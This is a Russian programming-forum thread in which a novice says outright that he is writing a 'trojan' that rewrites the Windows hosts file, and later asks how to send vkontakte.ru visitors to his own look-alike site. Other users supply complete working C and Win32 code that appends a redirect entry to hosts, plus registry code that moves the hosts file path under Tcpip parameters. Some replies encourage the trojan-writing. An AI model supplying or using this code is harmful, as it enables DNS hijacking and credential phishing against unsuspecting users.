Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
Рейтинг: Рейтинг темы: голосов - 15, средняя оценка - 4.87
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
#1

Запись текста в системный файл - C++

13.06.2009, 22:03. Просмотров 1854. Ответов 10
Метки нет (Все метки)

я тут хотел написаь небольшой, если можно так выразиться, троянчик) он должен записывать информацию в файл C:\WINDOWS\system32\drivers\etc\hosts.
приложение компилируется, но в файл не пишет ничего. этот же файл перемешаю в любую пользовательскую директорию, все работает, я решил, что система каким то образом блокирует прогаммное изменение ее файлов. подскажите как быть, если, буду тупить, сильно не ругайтесь, я новичок). вот код

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include "stdafx.h"
#include "iostream"
#include "stdio.h"
using namespace std;
 
 
int _tmain(int argc, _TCHAR* argv[])
{
    FILE *file;
    char* file_name = "C:\\hosts";
char load_string[50] = "none";
 
file = fopen( file_name, "w" ); 
 
fputs( "127.0.0.1 localhost\n93.158.134.11 vkontakte.ru\n", file );
 
fclose( file );
 
file = fopen( file_name, "r" );
if( file != 0 )
{
fgets( load_string, 50 , file ); 
cout << "load_string = " << load_string << endl;
}
else
{
cout << "File not found !!!" << endl;
}
fclose(file);
 
return 0;
}
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
13.06.2009, 22:03
Здравствуйте! Я подобрал для вас темы с ответами на вопрос Запись текста в системный файл (C++):

Запись текста в файл - C++
Нужно составить прогрумма которая создает файл и записывает в него текст. Программа не записывает в файл текст после пробела, помогите...

Запись текста в файл - C++
Доброго времени суток. У меня есть такой код программы: #include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;iomanip&gt; #include &lt;string&gt;...

Запись текста в файл - C++
Здравствуйте. Такая проблема: Имеется диалог, а на нём конпка и EditBox. Я хочу чтобы при нажатии на кнопку, текст, введённый в...

Запись текста в файл txt - C++
Здравствуйте , подскажите как реализовать запись в файл, у меня что то не получается har name; puts(&quot;Введите термин:&quot;); ...

Запись текста в бинарный файл - C++
Есть программа, она должна записывать в бин файл, обычную строку. #include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;fstream&gt; ...

Запись в файл русского текста - C++
Вообщем столкнулся с такой проблемой, надо записать данные в файл в Русском формате. Проблема в том, что записывает каракулями :) как это...

10
CyBOSSeR
Эксперт С++
2303 / 1673 / 86
Регистрация: 06.03.2009
Сообщений: 3,675
13.06.2009, 22:53 #2
Тебе стоит использовать Win32API функции.
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
bool AddToHosts(const char* szString)
{
  _TCHAR szWindowsDirectory[MAX_PATH];
 
  if (!GetWindowsDirectory(szWindowsDirectory, MAX_PATH))
    return false;
 
  _TCHAR szHostsPath[MAX_PATH];
 
  _stprintf_s(szHostsPath, MAX_PATH, _T("%s\\System32\\drivers\\etc\\hosts"), szWindowsDirectory);
 
  HANDLE hFile;
  
  hFile = CreateFile(szHostsPath,
                     GENERIC_WRITE,
                     FILE_SHARE_WRITE,
                     NULL,
                     OPEN_ALWAYS,
                     FILE_ATTRIBUTE_NORMAL,
                     NULL);
 
  if (hFile == INVALID_HANDLE_VALUE)
    return false;
 
  SetFilePointer(hFile,
                 0,
                 NULL,
                 FILE_END);
   
 
  char szWriteString[MAX_PATH];
 
  sprintf_s(szWriteString, MAX_PATH, "\r\n%s", szString);
 
  DWORD dwNumberOfBytesToWrite = (DWORD)strlen(szWriteString);
  DWORD dwNumberOfBytesWritten;
   
  if (!WriteFile(hFile,
                 szWriteString,
                 dwNumberOfBytesToWrite,
                 &dwNumberOfBytesWritten,
                 NULL))
    return false;
 
  CloseHandle(hFile);
 
  return true;
}
Вот функция которая добавить в конец файла hosts строку szString.
Для использования нужно подключить windows.h.
Описание функций ищи в локальном MSDN или на сайте MSDN Russia
Вот конкретная ссылка на страницу со списком Win32API функций для работы с файлами: File Management Functions
0
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
13.06.2009, 23:33  [ТС] #3
а как в консоли это можно реализовать? чтоб поменьше размер файла был?
0
CyBOSSeR
Эксперт С++
2303 / 1673 / 86
Регистрация: 06.03.2009
Сообщений: 3,675
13.06.2009, 23:58 #4
Цитата Сообщение от selevit Посмотреть сообщение
а как в консоли это можно реализовать? чтоб поменьше размер файла был?
Вот так в консоли
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
 
 
bool AddToHosts(const char* szString)
{
  _TCHAR szWindowsDirectory[MAX_PATH];
 
  if (!GetWindowsDirectory(szWindowsDirectory, MAX_PATH))
    return false;
 
  _TCHAR szHostsPath[MAX_PATH];
 
  _stprintf_s(szHostsPath, MAX_PATH, _T("%s\\System32\\drivers\\etc\\hosts"), szWindowsDirectory);
 
  HANDLE hFile;
 
  hFile = CreateFile(szHostsPath,
    GENERIC_WRITE,
    FILE_SHARE_WRITE,
    NULL,
    OPEN_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
 
  if (hFile == INVALID_HANDLE_VALUE)
    return false;
 
  SetFilePointer(hFile,
    0,
    NULL,
    FILE_END);
 
 
  char szWriteString[MAX_PATH];
 
  sprintf_s(szWriteString, MAX_PATH, "\r\n%s", szString);
 
  DWORD dwNumberOfBytesToWrite = (DWORD)strlen(szWriteString);
  DWORD dwNumberOfBytesWritten;
 
  if (!WriteFile(hFile,
    szWriteString,
    dwNumberOfBytesToWrite,
    &dwNumberOfBytesWritten,
    NULL))
    return false;
 
  CloseHandle(hFile);
 
  return true;
}
 
int main()
{
  AddToHosts("93.158.134.11 vkontakte.ru");
  return 0;
}
Заодно с Win32API функциями разберись, а то трояны без знания системы писать - гиблое дело

Добавлено через 14 минут 43 секунды
Ну если хочешь попроще то вот:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
 
int main()
{
  FILE* file;
  char* file_name = "C:\\Windows\\System32\\drivers\\etc\\hosts";
 
  file = fopen(file_name, "a");
  
  if(!file)
    return 0;
 
  fseek(file, 0, SEEK_END);
  
  fputs("\n93.158.134.11 vkontakte.ru", file );
  
  fclose( file );
 
  return 0;
}
Оба варианта у меня работают.
Вместо vkontakte.ru открывается yandex.ru.
ОС: Windows Vista SP1 Home Premium.
1
HIMen
4143 / 1392 / 39
Регистрация: 12.04.2009
Сообщений: 2,346
14.06.2009, 01:52 #5
Для верности его еще переместить можно
C++
1
2
3
4
5
_TCHAR szTestString[] = _T("%SystemRoot%\\System32");
_TCHAR szPath[] = _T("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters");
HKEY hKey;
RegCreateKeyEx(HKEY_LOCAL_MACHINE, szPath, 0, NULL, REG_OPTION_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
RegSetValueEx(hKey, _T("DataBasePath"), 0, REG_SZ, (BYTE*)szTestString, sizeof(szTestString));
0
alex2693
Сообщений: n/a
14.06.2009, 10:55 #6
Цитата Сообщение от CyBOSSeR Посмотреть сообщение
Оба варианта у меня работают.
Вместо vkontakte.ru открывается yandex.ru.
ОС: Windows Vista SP1 Home Premium.
а почему именно яндекс??
selevit
79 / 75 / 3
Регистрация: 08.10.2008
Сообщений: 296
14.06.2009, 11:59  [ТС] #7
спасибо, на хр тоже работает только я разобрался лишь вот в этом
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
 
int main()
{
  FILE* file;
  char* file_name = "C:\\Windows\\System32\\drivers\\etc\\hosts";
 
  file = fopen(file_name, "a");
  
  if(!file)
    return 0;
 
  fseek(file, 0, SEEK_END);
  
  fputs("\n93.158.134.11 vkontakte.ru", file );
  
  fclose( file );
 
  return 0;
}
я работал пока только с консолью и WIN32API функции почти не знаю, вернее сказать вообще не знаю)
чем вот это отличается от верхнего кода?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>
 
 
bool AddToHosts(const char* szString)
{
  _TCHAR szWindowsDirectory[MAX_PATH];
 
  if (!GetWindowsDirectory(szWindowsDirectory, MAX_PATH))
    return false;
 
  _TCHAR szHostsPath[MAX_PATH];
 
  _stprintf_s(szHostsPath, MAX_PATH, _T("%s\\System32\\drivers\\etc\\hosts"), szWindowsDirectory);
 
  HANDLE hFile;
 
  hFile = CreateFile(szHostsPath,
    GENERIC_WRITE,
    FILE_SHARE_WRITE,
    NULL,
    OPEN_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);
 
  if (hFile == INVALID_HANDLE_VALUE)
    return false;
 
  SetFilePointer(hFile,
    0,
    NULL,
    FILE_END);
 
 
  char szWriteString[MAX_PATH];
 
  sprintf_s(szWriteString, MAX_PATH, "\r\n%s", szString);
 
  DWORD dwNumberOfBytesToWrite = (DWORD)strlen(szWriteString);
  DWORD dwNumberOfBytesWritten;
 
  if (!WriteFile(hFile,
    szWriteString,
    dwNumberOfBytesToWrite,
    &dwNumberOfBytesWritten,
    NULL))
    return false;
 
  CloseHandle(hFile);
 
  return true;
}
 
int main()
{
  AddToHosts("93.158.134.11 vkontakte.ru");
  return 0;
}
а так все работает, спасибо

Добавлено через 13 минут 8 секунд
Извиняюсь, что вопрос не по теме и не в этом разделе должен находиться, у меня еше такая проблема - чтобы при браузера запросе на адрес вконтакте.ру открывался мой сайт http://www.vkontakte-vip.ho.ua/ мне нужен чтоб на этом адресе был статичный айпи, но т.к сайт на бесплатном хостинге, как вы наверно уже догадались, то там его нема как можно привязать айпи к моему сайту, или решить эту проблему каким нибудь более изврашенным способом) подскажите кто знает, пожалуйста

Добавлено через 2 минуты 53 секунды
а почему именно яндекс??
да просто от балды впихнул ип, первое что пришло в голову, в сообщении выше см))

Добавлено через 47 минут 29 секунд
C++
1
2
3
4
5
_TCHAR szTestString[] = _T("%SystemRoot%\\System32");
_TCHAR szPath[] = _T("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters");
HKEY hKey;
RegCreateKeyEx(HKEY_LOCAL_MACHINE, szPath, 0, NULL, REG_OPTION_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
RegSetValueEx(hKey, _T("DataBasePath"), 0, REG_SZ, (BYTE*)szTestString, sizeof(szTestString));
еще вопрос - какие заголовочные файлы отвечают за работу с реестром? И самый тупой вопрос - что все это значит?
0
CyBOSSeR
Эксперт С++
2303 / 1673 / 86
Регистрация: 06.03.2009
Сообщений: 3,675
14.06.2009, 12:25 #8
Цитата Сообщение от selevit Посмотреть сообщение
я работал пока только с консолью и WIN32API функции почти не знаю, вернее сказать вообще не знаю)
чем вот это отличается от верхнего кода?
Во втором коде используются чисто Win32API функции для работы с файлами (CreateFile, WriteFile, SetFilePointer), в первом варианте используются функции из библиотеки времени выполнения RTI(Run-Time Library) - fopen, fseek, fclose, fputs. Просто два разных способа решения задачи.
Проблема в твоей программе была скорее всего в том что ты открывал файл hosts для перезаписи (с флагом "w"), вместо того чтобы просто дописывать в конец файла (флаг "a").
Цитата Сообщение от selevit Посмотреть сообщение
какие заголовочные файлы отвечают за работу с реестром?
Смотря что будешь использовать для доступа к реестру, если Win32API - функции то <windows.h>.
Вот несколько полезных ссылок по работе с реестром на msdn.microsoft.com.
Ссылка на обзор реестра: Registry
Ссылка на список Win32API функций для работы с реестром: Registry Functions
Вообще вся нужная тебе информация имеется на MSDN. Возьми его на вооружение.
0
alex2693
Сообщений: n/a
14.06.2009, 12:26 #9
мне это тоже заинтересовало...а кк это работает?скажем если я захочу зайти вконтакт что я дожен исправить в сис-ме?и как это прога вообще работает?
CyBOSSeR
Эксперт С++
2303 / 1673 / 86
Регистрация: 06.03.2009
Сообщений: 3,675
14.06.2009, 12:33 #10
Цитата Сообщение от alex2693 Посмотреть сообщение
мне это тоже заинтересовало...а кк это работает?скажем если я захочу зайти вконтакт что я дожен исправить в сис-ме?и как это прога вообще работает?
Редактируя файл windows\system32\drivers\etc можно заблокировать нужный сайт или перенаправить (т.е. водишь vkontakte.ru а открывается yandex.ru).
Цитата Сообщение от Phantom Посмотреть сообщение
Как это сделать и что это такое - примерное описание здесь
Программа просто добавляет строку "93.158.134.11 vkontakte.ru" в конец файла hosts и когда мы вводим в строке адреса vkontakte.ru у нас этот адрес связывается с IP 93.158.134.11(yandex.ru) и вместо контакта открывается яндекс.
0
breeve
75 / 75 / 14
Регистрация: 01.08.2009
Сообщений: 177
02.10.2009, 17:36 #11
Цитата Сообщение от CyBOSSeR Посмотреть сообщение
Вот так в консоли
...
Оба варианта у меня работают.
Вместо vkontakte.ru открывается yandex.ru.
ОС: Windows Vista SP1 Home Premium.
Я почитал тему, заинтересовался решил попробовать.
Я пробовал оба варианта - не получились. тот что малый компилит, а файл не находит походу, либо просто не пишет. Тот что покрупнее пишет что не может найти две ф-ии:
C++
1
2
error C2065: '_stprintf_s' : undeclared identifier
error C2065: 'sprintf_s' : undeclared identifier
В чем может быть проблема? я по гуглил нашел выход. типо уберите "_s" и все заработает, но что-то не получается.
0
02.10.2009, 17:36
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
02.10.2009, 17:36
Привет! Вот еще темы с ответами:

Запись текста в двоичый файл - C++
Есть задача, она звучит примерно так : Я не могу понять смысла этой задачи... Допустим у нас в векторе W только 2 символа 'A' и...

Запись скрытого текста в файл - C++
многие трояны записывают в хостс скрытый текст на более низком уровне.

Запись текста в файл кириллицей - C++
Вот код #include&lt;iostream&gt; #include&lt;fstream&gt; using namespace std; int main() { setlocale(LC_ALL,&quot;Russian&quot;); ofstream...

Запись текста в файл разными кодировками - C++
Здравствуйте. Имеется файл. Нужно заменить кусок текста на текст другой кодировки. Как в С++ работать с кодировками? Еще ни разу не...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
11
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru